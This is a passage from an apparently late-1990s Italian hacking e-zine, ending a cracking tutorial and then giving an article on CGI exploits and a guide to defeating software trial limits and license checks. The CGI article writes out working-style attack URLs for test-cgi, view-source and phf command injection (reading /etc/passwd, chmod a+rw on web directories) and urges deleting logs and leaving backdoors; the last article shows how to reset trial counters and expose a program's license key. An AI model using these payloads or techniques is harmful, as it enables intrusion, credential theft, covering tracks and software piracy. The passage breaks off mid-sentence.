CONCLUSIONI E CONSIDERAZIONI FINALI
------------------------------------------------------------------------------

Dunque, siamo alla fine. Spero che questo tutorial vi sia servito, io da parte
mia ho cercato di farlo nel migliore dei modi, accessibile a tutti.
Non pensate comunque di riuscire a crackare qualcosa alla prima, il tutto
richiede logicamente un po' di pratica. Man mano che proverete, comunque,
troverete tutto piu' facile di volta in volta.
Per trovare i programmi necessari (SoftICE x Windows95, se volete anche per
DOS, e il disk editor), basta cercare con AltaVISTA o simili la parola "Hack"
o "Crack" o "Phreak". Troverete migliaia di siti, basta cercare un minimo
e troverete quello che cercate.
Inoltre, scarivatevi *SUBITO* la guida di +ORC (la migliore al mondo e penso
nell'universo) .... le varie parti abbastanza aggiornate le trovate a
www.dodgenet.com/~kwantam nella sezione "Hacking Textz". Ci sarebbe anche il
sito quasi-ufficiale di +ORC, ma quello non ve lo dico.... vi rovinerei il
divertimento nel cercarlo..... sappiate solo che con i vari spiders non lo
troverete mai, quindi .... l'unica a' rovistare tra i vari links nelle pagine
hackers per vedere se scovate qualcosa! Eh eh eh.....
Sicuramente ho tralasciato qualcosa (e chi non lo fa'), ma d'altra parte non
potevo certo spiegarvi TUTTE le situazioni (cambiano sempre)....
Del resto, basta un po' di pratica e troverete da soli le risposte alle vostre
domande! Ah, dimenticavo: >>>>>NON MI E-MAILATE TANTO NON VI RISPONDO<<<<<<.
(O, swanne, mi raccomando eh? ir tegame di tu ma se mandi ir mi indirizzo a
giro..... un mi vorrai mia fa' arresta' eh? Senno' poi l'artiolini ganzi chi
te li scrive..... via swanne, ammodino eh, che se stai bono ti fo' anche
ir crachin manua' in livornese!)

Special Greetings to: MoonShadow (Assembler Consultor)
All the PiNNACLE Crew (Zima Man,Hyper,Blaze,Joker,
Silky,MrMox,X-con and
the others)
Trencher (For the long time spent together in
cracking..... and for helping me
in programming the first patcher i
did!)
Colonel (Moral Support)
Beppe (Moral Support)
All the rest of MeltBody Team (Moral Support)
Mamma e Babbo (Per le sigarette fornite... in tutto
penso 2 pacchetti in 1 settimana di
duro lavoro)


H A P P Y
C R A C K I N G



. . . .
*** ** * * * * * * **
*** ** . . . **
*** *** *** ****** ** ** *** ** **
*** *** ** ** ** ** *** ** ** ** *** **
*** ** ** ****** ** *** ** ** ** ***
** ** ** ** *** ** ** ** ** ** ** **
*** *** *** ** ** ** * *** ** *
*** ** ** ...................
*** **** .PiNNACLE Industries.
** ** . Chief Cracker .
...................

3) CGI che passione... ( by Jack McKrak )

In questo articolo vi parlero' dei bug piu' comuni riscontrati all'interno
degli script CGI dei vari gestori di pagine Web, come Apache o NCSA..

Prima di iniziare occorre pero' qualche precisazione: questi bugs ormai sono
un po' datati, in America e' praticamente impossibile trovare siti dove si
possono ancora utilizzare per entrare senza permessi... in Italia pero', come
al solito, non e' raro imbattersi in indirizzi www che hanno ancora gli
script incriminati attivi.
Faccio dunque appello a tutti quelli che leggeranno questo articolo a non
abusare del potere concesso e a non provocare danni ai siti in questione..
il motivo principale e' che siete rintracciabili e se fate inkazzare
l'amministratore questo puo' anche risalire a voi e aprirvi un altro buco nel
culo, in secondo luogo perche' e' da pirla entrare in un server e danneggiarlo
cancellando file.. una dimostrazione solo della propria deficenza, non delle
proprie capacita'.. molto piu' divertente invece editare qualche pagina o
qualche gif per infilare propri messaggi, magari scrivendoci anche due
stronzate, cosi' per far fare quattro risate a chi si connette, senza
scatenare eccessivamente l'ira di chi lo gestisce...

Le CGI sono dei programmini utilizzati per rendere disponibili i piu' svariati
servizi a chi si connette dal proprio browser.. c'e' quello che ti dice quante
persone sono entrate, quello che ti ricerca documenti, quello che ti invia le
ultime notizie, ecc.. pero' l'elevata versatilita' di questo strumento causa
un'inevitabile perdita nella sicurezza globale del sistema.
Ogni tanto infatti si scopre che un innocentissima script CGI, nata magari
per controllare la velocita' delle connessioni, impostata diversamente,
chissa' per quale stranissimo motivo, ti permette di agire sul server come se
fosse il tuo PC...
Nelle prossime righe vi illustrero' i casi piu' famosi di questi script...
programmi che sono stati la causa della rovina di molti host e della gloria di
molti hackers...

Test-cgi

Come si puo' intuire questo script e' stato congegnato per testare il
funzionamento delle CGI del server in questione.. scrivendo dal proprio
browser http://www.sito.com/cgi-bin/test-cgi dovrebbe apparire la seguente
schermata:

CGI/1.0 test script report:

argc is 1. argv is \*.

SERVER_SOFTWARE = NCSA/1.4.1
SERVER_NAME = www.sito.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/0.9
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT =
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/test-cgi
QUERY_STRING =
REMOTE_HOST = remote.machine.com // nota.. qui e' riportato il vostro
indirizzo IP
REMOTE_ADDR = 255.255.255.255 // ...attenti alle kazzate...
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =

Nel caso in cui il server in questione utilizzi NCSA.. se invece si tratta di
Apache cambia solo il campo SERVER_SOFTWARE...
Cosi' com'e', questa schermata e' completamente inutile, ma, se questa CGI e'
configurata nel modo giusto, scrivendo http://www.sito.com/cgi-bin/test-cgi?/*
si ha una sorpresa:

CGI/1.0 test script report:

argc is 1. argv is /\*.

SERVER_SOFTWARE = NCSA/1.4.1
SERVER_NAME = www.sito.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/0.9
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT =
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/test-cgi
QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib /mnt
/root /sbin /stand /sys /tmp /usr /usr2 /var
REMOTE_HOST = remote.machine.com
REMOTE_ADDR = 255.255.255.255
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =

Nel campo QUERY_STRING e' apparsa la lista delle directory presenti in root..
in altre parole questo script ci permette di esplorare tutto l'hard disk del
server, una cosa essenziale se si vuole valutare la posizione dei file nel
sistema o verificare quali comandi possiamo utilizzare.
Ad esempio se vogliamo vedere quali altri script CGI sono presenti, possiamo
scrivere:
http://www.sito.com/cgi-bin/test-cgi?* e ottenere:

CGI/1.0 test script report:

argc is 1. argv is \*.

SERVER_SOFTWARE = NCSA/1.4.1
SERVER_NAME = www.sito.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/0.9
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT =
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/test-cgi
QUERY_STRING = calendar cgi-archie cgi-calendar cgi-date cgi-finger
cgi-fortune cgi-lib.pl imagemap imagemap.cgi imagemap.conf index.html
mail-query mail-query-2 majordomo majordomo.cf marker.cgi
menu message.cgi munger.cgi munger.note ncsa-default.tar post-query
query smartlist.cf src subscribe.cf test-cgi uptime
REMOTE_HOST = remote.machine.com
REMOTE_ADDR = 255.255.255.255
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =

ecco cosi' tutto quello che possiamo usare per i nostri scopi...

View-source

Questo script e' studiato per fare ammirare a un computer remoto le bellezze
contenute in un qualsiasi file del sistema.. vi chiederete, ma a che cosa
serve se non per hackerare ?
E' la domanda che spesso si pongono gli amministratori che vedono questo file
in giro per le proprie directory.. sara' dunque molto raro che possiate
utilizzarlo.. solo i piu' minchioni installano questo script senza chiedersi
il perche', la maggioranza hanno quel pelo di intelligenza che gli serve per
capire che un simile file sull'hard disk e' come puntarsi un fucile sulle
palle...
Comunque con http://www.sito.com/cgi-bin/view-source?/etc/passwd potreste
ritrovarvi con l'elenco degli account, con relativa password criptata, sul
vostro schermo... e se a questo punto non sapete cosa fare, vi consiglio di
leggere il mio precedente articolo...

Phf

Questo che sto per descrivervi e' il bug piu' famoso e potente a disposizione
di un hacker..(o almeno lo era fino a poco tempo fa).. il phf e' uno script
delle CGI dell'Apache inizialmente congegnato per gestire alcuni servizi del
server da computer remoti..
Sinceramente non so che tipo di servizi offra, ma sono sicuro che su cento
volte che qualcuno ha utilizzato il phf, 90 erano per scopi illeciti e fuori
dal suo vero impiego..
Cosa permette di fare questo script: semplice permette di utilizzare gran
parte dei comandi Unix come se si stesse operando sulla tastiera del computer
da colpire.. vi sembra poco ?

http://www.sito.com/cgi-bin/phf/?Qalias=x%0aid con questa riga sul vostro
browser chiedete al phf di lanciare il comando id che vi permettara' di
sapere quali sono i vostri privilegi sulla macchina in questione...
Ci sono diverse modalita' di risposta:

QUERY RESULTS

/usr/local/bin/ph -m alias=x id

uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)

questa ad esempio dice che il phf setta i vostri privilegi al minimo, dunque
siete un po' con le mani legate.. nonstante tutto pero' potete fare delle
cose che un normale user con simile uid potrebbe non fare..esempio vedere il
file passwd con:

http://www.sito.com/cgi-bin/phf/?Qalias=x%0acat%20/etc/passwd

ma dipende come e' impostato il phf.. potrebbe anche succedere che vi neghi
l'accesso a questo file, allora possiamo solo cercare di scoprire cosa c'e'
in questo computer..
ad esempio ottenendo la lista di tutte le directory e i privilegi ad esse
collegate

http://www.sito.com/cgi-bin/phf/?Qalias=x%0als%20-al%20/

oppure cercando nei file di log eventuali informazioni utili, come password
scritte al posto del login, memorizzate pronte per essere sfruttate (capita
infatti che per la fretta, a volte, quando appare la scritta login: si preme
invio e in password poi si scrive il login.. ovviamente il server rifiutera'
l'ingresso e richiedera' il login: dove l'ignaro utente scrivera' la password..
salvandola cosi' nel file di log tipo /var/adm/messages)

Come avrete ormai capito dopo il %0a potete infilare qualsiasi comando che vi
venga in testa... spesso pero' quelli di scrittura com cp, ren, rcp sono
disabilitati, dunque il phf viene sfruttato piu' per recuperare informazioni
che per modificare l'hard disk..
Se pero' alla richiesta di ID appare

QUERY RESULTS

/usr/local/bin/ph -m alias=x id

uid=0(root) gid=0(root)

le cose cambiano.. qui operiamo come Super User e abbiamo l'accesso garantito
a qualsiasi file.. la prima cosa da fare e' scaricarsi il passwd, seguito
magari da inetd.conf per cercare tutti i possibili modi di accesso..

Mettiamo per esempio che siate riusciti a scaricare il file passwd, dopo
averlo decriptato avete scoperto qualche password di utenti comuni, senza
privilegi.. non riuscite cosi' ad avere accesso a directory con i files html
che volevate modificare.. invece di perdere tempo a decriptare account con
uid piu' alti, un po' di intelligenza suggerisce di utilizzare il phf assieme
al chmod per cambiare i permessi di un file o di una directory.. rendendoli
scrivibili da tutti gli user..

cgi-bin/phf/?Qalias=x%0achmod%20a%2brw%20/www/docs

che corrisponde a

chmod a+rw /www/docs

(come vedete gli spazi e il + sono caratteri speciali da immettere tramite
codice ASCII)

vi connettete con ftp, cambiate il file scelto e poi con phf riportate tutto
come era prima, possibilmente cancellando i log file. Ricordate che un simile
procedimento funziona anche con il file passwd e inetd.conf.. lasciare qualche
backdoors e' sempre utile (anche se rende l'attacco un po' spudorato)

Oggi capita che alla richiesta di utilizzo del phf appaia la scritta:

Smile, you are on candid camera

e' una evidente presa per il culo che viene inserita nelle nuove versioni del
software Apache.. tanto per rifarsi della pertida di immagine dovuta proprio
a questo bug..

Per concludere esistono molti altri script che possono tornare utili a chi
cerca di penetrare in siti www, ad esempio alcuni che inviano mail possono
essere utilizzati per recapitare nella propria casella postale il file passwd...
e tanti altri...
Vediamo se riesco a rimediare qualche novita' per il prossimo numero...

Jack McKrak

ATTENZIONE - Seguira' ora un altro articolo di Jack Mckrak sulle conseguenze
degli algoritmi frattali nella decriptazione delle password. Il testo in
questione e' frutto totalemte della mente deviata di McKrak, dunque sappiate
che non esistono prove che quello che sta scritto qui di seguito abbia un
senso.. anzi forse non ce l'ha proprio..
Comunque se siete interesati all'argomento o volete solamente sapere cosa si
fuma MK prima di concepire questi pezzi, scrivete a mckrak@psynet.net..

4) Articolo Teorico/Cannato - Ordine e Password ( by Jack McKrak )

Qual'e' la differenza fra ordine e disordine ?

Possiamo dire che un insieme e' ordinato quando esiste una logica che lega
ogni suo elemento.. quando, insomma, posso affermare che quella
determinata cosa deve stare in quel posto e non da un'altra parte. Un mazzo
di carte ordinato e' quello dove si va dall'asso al K in successione
crescente, mentre in uno disordinato ad ogni carta ne puo' seguire un'altra
che non centra assolutamente niente con la prima.. E' ovvio affermare che e'
molto piu' facile cercare una cosa in un insieme ordinato che in uno
disordinato.. cercando un libro, ad esempio, istintivamente andiamo nel
settore che ci interessa, perche' presupponiamo che chi ha ordinato la
biblioteca abbia seguito un criterio per facilitarci il compito.. la logica
allora ci fa concludere che dopo dieci libri di fantascenza, con molto
probabilita, ce ne sara' un altro dello stesso genere..

Quando l'ordine e' palese non ci sono dunque problemi.. ma quando non e' cosi'
palese? Ad esempio.. per mia mamma la mia camera e' l'apoteosi della
confusione, ma io ci trovo tutto... quando invece lei decide di mettere in
ordine ecco che io non piu' riesco a capire dove sono finite le mie
proprieta'. Questo accade perche' i miei genitori non capiscono la logica
che sta dietro alla disposizione degli oggetti sul pavimento e nei cassetti,
bollando tutto con il termine disordine.. ma allora esiste il caos o e' solo
la nostra incapacita' di schematizzare dati complessi ? Che ci sia una senso
anche dove non avremmo mai immaginato di trovarlo ?

Prendiamo la serie di numeri 2 4 6 8 10.. ovviamente se ci chiedessero quale
numero viene dopo noi risponderemmo con 12, poiche' banalmente si tratta di
una succesione di numeri pari.. la successione 2 3 5 7 11.. sarebbe gia' piu'
complessa e solo dopo aver capito che si tratta di numeri primi potremmo dire
che il seguente e' il 13.. in fine la serie 52 63 94 46.. risulterebbe casuale
se non si capisce che sono i quadrati di 5 6 7 8 con le cifre invertite e il
numero seguente sarebbe allora il 18 (9^2 = 81).. Un insieme apparentemente
casuale dunque puo' avere una suo schema, anche complicatissimo, ma che se
scoperto puo' metterci in condizioni di dare un senso a tutti i dati incotrati
e anche a quelli futuri..

Gli algoritmi come il PKZIP, ARJ, RAR sono specializzati proprio nel
ricercare ordine nelle sequenze casuali di byte, in modo da poter scrivere
nel file compresso solo i byte realmente indispensabili per ottenere
l'originale... Per eseguire questo compito cercano stringhe che si ripetono
piu' volte all'interno del file e poi reiterano questo processo finche' nel
file finale non e' possibile trovare sequenze ripetute.. Non e' un metodo
complicato, ma, come tutti possono sperimentare, permette di ridurre
parecchio i megabyte accupati da un programma generico. Ultimamente sta
emergendo un nuovo tipo di compressione.. la compressione FRATTALE..
(se trovate file con l'estensione FIF sono proprio immagini compresse con
questo sistema). Questa compressione si basa su procedimenti matematici molto
complessi, ma il nocciolo della questione e' che un file viene riassunto i
un numero limitato di equazioni a cui e' associata una probabilita'.
Nel momento dello scompattamento il file viene rigenerato seguendo queste
equazioni che assumono piu' o meno importanza a seconda proprio della
probabilita' a loro connessa...

Per averne un'idea non so se avete mai visto il programma in Pascal o
C "Felce", che tramite 4 equazioni riproduceva sullo schermo la figura di
una foglia di felce.. in questo caso, ad esempio, da poche' centinaia di byte
si ottieneva un disegno che occupava diverse decine di KB.
La compressione frattale e' dunque molto potente, anche se parecchio lenta
nella fase di scomposizione in equazioni (e questo e' il suo principale
problema) e rappresenta dunque il miglior metodo oggi disponibile per
trovare ordine in dati apparenetemente casuali...

Vi chiederete cosa centra tutto questo con le password.. passiamo ora al
bello del discorso.. Se prendiamo un insieme abbastanza vasto di parole
chiave, usate regolarmente in un paese o anche in tutto il mondo, notiamo
che non e' un insieme completamente casuale, difficilemte si possono
trovare parole come "hhhh!!!" mentre abbondano quelle tipo "Mario1" o
"diav0\0".. e ho citato due password fatte con un pelo di grazia,
tralasciando quelle con parole comuni e regolari che non dovrebbero neanche
essere concepite, ma che spesso abbondano..
Un insieme di questo tipo non e' completamente casuale (tecnicamente il
fattore disordine di un sistema viene defininito "grado di entropia")..
possiamo allora pensare di applicare un algoritmo frattale a un database
con tutte queste parole e ottenere delle equazioni che esprimano l'essenza
di tutto l'archivio.

Ora siamo in grado di rivoluzionare il concetto di decriptazione a forza
bruta (ovvero quello di si provano tutte le parole possibili) poiche'
le nostre equazioni non solo sono in grado di controllare tutte le parole
dell'archivio originale, ma possono essere spinte oltre e trasformarsi nel
miglior generatore di password esistente...
Portando infatti questi riassunti in forma matematica oltre quello che serve
per ottenere il database iniziale si arriva alla creazione di password che
non erano presenti nell'elenco originale ma che sono legate a quest' ultimo
nella propria essenza strutturale.. Nessun metodo statistico come
l'estrapolazione dei caratteri comuni o la creazione di password
wordlike potrebbe competere con un simile programma.. almeno in teoria...

Il tempo per decriptare un file passwd, ad esempio, si ridurrebbe
enormemente.. tranne nei casi in cui un eventuale operatore conosca questo
metodo e utilizzi le equazioni sopra descritte per creare password fuori
schema.. che cosi' non potrebbero essere mai scoperte in un tempo umano...

Tutto quello che ho scritto sono pero' estrapolazioni teoriche, in pratica
forse questo programma potrebbe non essere mai creato.. in primo luogo
perche' gli algoritmi di compressione frattale sono segreti e ancora non ne
si conosce bene la potenza, poi bisognerebbe disporre di un archivio di
password estremamante ricco, e tanti altri motivi..

Chissa' se poi alla fine questo sistema sarebbe davvero efficente...

Jack McKrak

P.S. Parlando delle succesioni numeriche mi e' tornato alla mente un
vecchissimo gioco matematico, che probabilmente vi e' stato gia' fatto tempo
addietro... per chi non lo sapasse e' la storia di un tipo che vuole entrare
in un castello (UNIX) dove e' necessario conoscere la risposta ad un questito
del guardiano (login-password).. il tipo si nasconde e ascolta tutte quello
che dicono le persone che entrano (sniff)..
al primo che bussa al portone il guardiano dice "6" e lui risponde "3"
e passa...
al secondo tipo dice "8", lui risponde "4" e passa...
al terzo "10" , risponde "5" e passa...
al quarto "12", risponde "6" e passa...
A questo punto il tipo pensa di aver capito la logica e bussa al portone..
il guardiano gli dice "14" lui risponde "7", ma viene fucilato... perche ?
Che numero avrebbe dovuto dire ?

Se sapete la soluzione scrivete a "mckrak@psynet.net".. se avete indovinato
riceverete nientemeno che la foto del Dr.Creker mentre narcotizza un
poliziotto strigendogli la faccia fra le sue ascelle...


5) I siti del Dr.Creker ( by Dr.Creker )

Ciao a tutti, o miei cari lettori ;)))
Guardiamo insieme un po' di belle pagine che vi tengano compagnia durante
quelle tristi serate in cui non c'e' nessuno sul vostro irc channel
preferito e la vostra donna e' uscita con le amiche...

http://freeside.com/phrack.html
Non so' come ho fatto a non citarlo negli articoli che ho gia scritto comunque
questo e' il sito dove potete trovare Phrack...un gran bel giornale direi!
Andateci. Non aggiungo altro. DA VEDERE!!

http://www.phila.geek.org.uk/phila/
Una pagina carina; qualche bugs, qualche altra info.
Interessante se non avete niente di meglio da fare...
Come dire: c'e' di meglio, c'e' di peggio...

http://www.digicrime.com
Il nome dice tutto. Andateci.

http://fs009mi.iol.it/decoder/home.htm
http://www4.iol.it/decoder
Homepage della rivista italiana decoder (ultimamente criticata per alcune
immagini pubblicate). Ho letto qualche numero e mi e' sembrato molto
interessante. Dategli un'occhiata potrebbe prendervi piu' di quanto
pensiate.

http://www.ilf.net
E' un bel sito che ho trovato per sbaglio tra i bookmarks vecchi di Infected
Machine. Cosa volete che vi dica? Andateci...

Anche per questo numero ho concluso. Ci risentiamo presto!
Byez! See Ya!! :)

Dr.Creker

Riportiamo, come gia detto, il primo degli articoli scritti da voi che leggete
questo testo e ci auguriamo che in futuro questo spazio possa diventare parte
integrante della rivista cosi' come lo sono tutti gli altri articoli.

6) Guida alla Sopravvivenza per non-crakkatori (by Cavallo de Cavallis)

ovvero
come si sputtanano le protezioni dei programmi senza essere veri crakkatori.

Innanzitutto premetto che questo articolo non e' forse il classico articolo
da SyStEmDoWn, non e' approfondito, non e' fatto da un mago dell' H/C/P ma
e' scritto da un ragazzo con una conoscenza media del PC e che ama divertirsi
con esso. Quindi se ritenete cio' che ho scritto delle boiate assurde, voi
grandi guru del crack, avete ragione!! Anzi diciamo cosi', se siete veri
crakkatori o gente gia' abbastanza esperta non leggetelo neanche!!
Sfortunatamente non sono un crakkatore, sto cercando di diventarlo
(grazie Xoanon per la guida !!) ma non lo sono ancora, questa mia storiella
e' indirizzata a coloro che, a volte, nei canali IRC domandano crack per questo
o quel programma e magari senza sapere cosa sono i file .INI o il Registro di
Windows '95 o i files di installazione.
A tutti puo' capitare di trovarsi di fronte ad un programma che, sfiga vuole,
nessuno conosce, nessuno ha visto, nessuno possiede il crack relativo :(.
Lo scopo di questo articolo e' far capire come, a volte, non serva parlare in
assembler, non serva saper smanettare con il Soft-Ice o disassemblare col
W32dasm per fottere un programma, basta un po' di intuizione e una dose
massiccia di CULO.
Ok, adesso vediamo tre esempi di come a volte e' facile aggirare
(completamente o in parte) una protezione senza essere veri crakkatori :
(I programmi molto probabilmente non vi saranno affatto familiari)

Esempi:

1) File .INI: TcpSpeed v1.01
2) Registro di Win95: Kiplinger Small Business Attorney
3) Files di Installazione: CADRA

Iniziamo:

1) File .INI: TcpSpeed v1.01

Il programma TcpSpeed e' una piccola utility c

  
he permette di misurare la
velocita' di collegamento con un sito che voi specificato. L'ho trovato
su un sito H/C/P (boh chissa' perche') e non e' che mi abbia esaltato troppo
infatti non funziona con tutti i siti ma solo con alcuni.
Comunque vediamo che limitazione ha:
senza dirvi nulla (o almeno nella mia versione non c'erano files che lo
spiegavano) il programma vi permette di utilizzarlo solo 10 volte + o -,
poi il maledetto cerca di collegarsi al suo server per cercare di registarsi.
Allora vediamo un po' se ha un contatore, dovra' pur salvare da qualche parte
il numero di avvii ?
Ok allora si puo' cercarlo prima nei file .ini che e' la cosa piu' semplice;
innanzitutto breve excursus sui file .ini (forse non tutti sanno cosa sono):
i file .INI sono dei file di inizializzazione che contengono informazioni
relative ad un programma, per esempio la posizione della finestra, gli ultimi
file aperti, e guarda un po' a volte i contatori o le registrazioni.
Si trovano nella directory di Win95 (ma a volte file con l'estensione .ini si
possono trovare anche nelle directory dei programmi) ed hanno di solito lo
stesso nome del programma relativo.

Esistono anche dei file .INI relativi a Windows 95:

WIN.INI dove si puo' trovare il tipo di stampante, lo sfondo, le impostazioni
per l'italia etc... e magari informazioni sui programmi (es. WinZip)

SYSTEM.INI dove ci sono i settaggi di sistema: tastiera, scheda video etc...

Personalmente consiglio di controllarli sempre tutti, per essere sicuri, e
di controllare anche tutti i file nella directory del programma (per vedere
se salva il valore da qualche parte li' magari in un file con un nome cazzuto
o nascosto).

Con questo programmino ci va proprio alla grande, nel file Tcpspeed.ini
c'e' proprio la linea Run Count= N.
Provate ad avviare il programma 1 volta, riguardate il file .ini e troverete
che e' cambiato in Run Count = N+1. Quando N = 10 il programma decide che lo
avete provato abbastanza e non va piu'.
Non fate altro che andare nella directory di Win95, aprite Tcpspeed.ini e
modificate il contatore riportandolo a 0 !
Ovviamente e' una cosa un po' grezza e provvisoria ma sempre meglio di
niente o no ?
SUGGERIMENTO DA PARTE DI BLINKING: Il mio caro compare suggerisce di settare
il file tcpspeed.ini READ ONLY cosicche' il programma non riesca a portare
avanti il contatore !!

2) Registro di Win95: Kiplinger Small Business Attorney

Il suddetto programma non e' molto interessante per il mercato italiano ma
ha comunque degli spunti interessanti; lo classificherei come un word
processor che guida alla composizione di garanzie (non avvisi!!), lettere,
accordi pre-matrimoniali, testamenti (tie'!!) etc..
Sfiga vuole che da dove l'ho recuperato non c'era il crack e penso di sapere
perche' mancava: la prima volta che avviate lo SBA dopo l'installazione il
programma parte tranquillamente, il problema e' che alla 2nda volta vi chiede
di registrarlo e vi concede 3 avvii senza codice di registrazione (come mi
fa incazzare la gente che distribuisce warez senza provare a fondo la roba!).
Il controllo dei file .INI non porta da nessuna parte e adesso come si fa ?

Con l'avvento di Windows '95 (evitiamo commenti sul sistema operativo), a
detta di molti giornali, i file .INI sarebbero dovuti scomparire per lasciare
spazio al fantomatico Registro di Configurazione. Effettivamente il numero
di questi file si e' ridotto e, oggigiorno, accade spesso che i settaggi
dei programmi siano messi tutti in questo Registro.
Per chi non lo sapesse (e penso che ce ne siano) per vedere il registro basta
digitare nella finestra Esegui... il comando Regedit e cosi' vi ritrovate
nell'Editor del Registro di Configurazione.
Adesso piazziamo una ricerca (Modifica..Trova) su Attorney e vediamo un po'
che succede...
Uhm sotto HKEY_CLASSES_ROOT mi ha trovato Kiplinger's Small Business Attorney
diamoci una occhiata: premiamo sul + di fianco e compare la chiave frIndex
clicchiamo su di essa e nella finestra di destra compare
|ab| predefinito "N"
dove N e' un numero

Bene proviamo a rieseguire il programma, poi torniamo qui e scopriamo che
N e' diventato N-1. La faccenda si fa interessante: proviamo a mettere 10
e avviamo il programma, adesso dovrebbe dirci che ci sono rimasti 10 avvii !
E chissa' che succede se ci piazzo un bel 1000 ???? :))
Un altro programma fottuto.

3) Files di Installazione: CADRA v10.0.1 per Windows

E ora, con un po' di orgoglio (si ditemi pure che sono un esaltato ed uno
spandi ma questa lavoretto mi fa godere come un porco) la mia Opera.

Prima cosa: cusale' l Cadra ? (trad. cos'e' il Cadra ?)
(xoanon scrive in livornese e io in varesotto)
Il Cadra e' un CAD (Computer Aid Design), cioe' un programma di disegno
tecnico tipo AutoCad x intenderci, prodotto dall'Adra e venduto alla modica
cifra di 10 zucche + o - (come ogni cad che si rispetti).

Seconda cosa : sa te fe cuse' dun Cad che l'e' minga famus ?
(trad. cosa te ne fai di un Cad che non e' famoso ?)
Lo usa mio pa' al lavoro e volevo dargli una mano da casa.

Terza cosa: che protezione ha ?
Bella domanda !!
Praticamente legge qualcosa dal Bios del PC, vede le opzioni del Programma
che volete attivare e la data in cui scadra' la licenza, legge la chiave
(nel formato XXX-XXXX) confronta il tutto e bum: la licenza che avete
inserito e' scorretta.

Quarta cosa: ma non potevi copiare la licenza di tuo padre?
Eh no, cosi mi deludete !
Ho detto che legge dal Bios quindi ogni PC e' diverso dall'altro!

Ed ora fottiamo questa protezione da 10 zucche!
Osservando bene bene il setup si scopre che la licenza va configurata
non all'interno del cad ma dal setup. Interessante...
Vi e' mai capitato di dare una occhiata a quei file chiamati setup.lst
setup.inf e setup.mst? No? Male! Dovreste! Come dice mio nonno bisogna
sempre OSSERVARE e CAPIRE il mondo attorno a noi! (Meditate gente Meditate)
(non tutti i programmi li hanno, dipende dal tipo di installazione, quelli
fatti con l'InstallShield no e sfortunatamente ora ne fanno tanti di setup
con quello)
Li illustro velocemente :

Setup.lst : informazioni generali tipo titolo finestra, file necessari etc..
Setup.Inf : contiene l'elenco di tutti i file che verranno installati (io
lo modifico quando copio un programma e voglio tagliarci dalla
installazione magari 20Mb di Immagini inutili senza far impastare
l'installazione)
Setup.mst : il file veramente interessante, la sua descrizione presa dal file
e' questa :

Setup script for Cadra for Windows. Written in MSTEST Basic
This code is rather tightly coupled to setup.dll

Bene bene e' lo script di installazione scritto in una specie di Basic che
contiene le info sulle procedure di installazione (tipo se schiaccio questo
succede quest'altro). Attenzione la 2nda linea ci dice che il file e'
accoppiato con il file setup.dll (Cio' e' importante perche' i messaggi che
vengono visualizzati vengono presi dalla dll, io ho dovuto modificare
brutalmente la DLL per far inserire i miei commenti nel setup trasformato in
generatore di Licenze ma non e' importante per ottenere le licenze)

Allora apriamo questo script e facciamo una ricerca con License, Register,
Registration, Incorrect, Lic ,etc...
Troviamo un po' di cose, con un po' di pazienza becchiamo la routine giusta:

IsLicKeyValid -- Returns true if number is legal.

cioe' se la licenza inserita e' giusta riporta True (vero) (e' quindi di
tipo booleano VERO/FALSO; per maggiori infos leggete un libro di matematica
o di programmazione)

Bene, avanti cosi' !
Scrolliamo un po' la routine fino a che, to' guarda qui, troviamo un bel

IF (bufkey$ = n$) THEN IsLicKeyValid = TRUE

GULP !
Spieghiamo un po' per i non-programmatori
Se la stringa bufkey$ e' uguale a n$ allora IsLicKeyValid e' vero (cioe'
abbiamo inserito la licenza giusta)

Sempre Meglio :))

Quindi, probabilmente ci sarete arrivati, una stringa e' quella che ho messo
io a caso e l'altra quella giusta !
Bastera' visualizzare le 2 stringhe per vedere quella mia e quella giusta !!
Allora, siccome non so programmare in MSTEST BASIC cerco la funzione
x visualizzare un messaggio, la scopiazzo spudoratamente e ci faccio una
lieve modifica

per esempio questa :
t$ = "The drive letter is missing or invalid. Please enter a valid drive."
r% = DoMsgBox(t$,"Cadra for Windows Setup")

che visualizza un messagge box con scritto il contenuto di t$

e la piazzo prima di If.... modificata cosi'

r% = DoMsgBox("La chiave corretta e': " + bufkey$,"Sprotezione Effettuata da
Cavallo de Cavallis", MB_OK + MB_ICONEXCLAMATION )

P.S. Io so gia' che bufkey$ e' quella giusta, avrei dovuto prima mettere
"le 1ma chiave e' "+ bufkey$ + " la 2nda e' " + n$ , osservarle, capire quale
era quella giusta.. comunque ci siamo capiti.

Beh riavviate il setup cosi' modificato ed eccovi visualizzata la chiave
giusta !!

P.S. Fatevi una copia di backup dei file PRIMA !! Non vorrete perdere il
programma per un errore !!

Bene ho concluso la mia piccola guida alla sopravvivenza per non-crakkatori.
Spero di aver aiutato qualcuno, di non aver deluso nessuno, di non aver fatto
incazzare nessun vero crakkatore (Se vi ho fatto inkazzare, fatemi un corso
crackin oriented cosi' faccio cose piu' interessanti).
Ringrazio InfectedMachine e lo staff di SyStEmDoWn per avermi permesso di
inserire questo mio articolo, Xoanon per la sua guida al crack (se mi dessi
anche lezioni non sarebbe male :)), pa' e ma'.
Salutoni a tutti gli amici dei canali #hackers.it #hackita e #warezitalia
senza i quali non avrei neanche saputo dell'esistenza di SystemDown.

ULTIMO AVVISO:
Non e' sempre facile trovare protezioni come quelle descritte, saranno magari
il 5% o anche meno, ma ricordatevi Provate Provate Provate, puo' darsi che
con l'inventiva si arrivi dove non arrivano le conoscenze.

Cavallo de Cavallis
<ratamatta@hotmail.com>

7) Consigli per il laming ( by Hank )

Salve, questa sezione di Systemdown sara' (forse) snobbata da molti. Non mi
riterro' offeso da un tale atteggiamento solo perche' so che verra' comunque
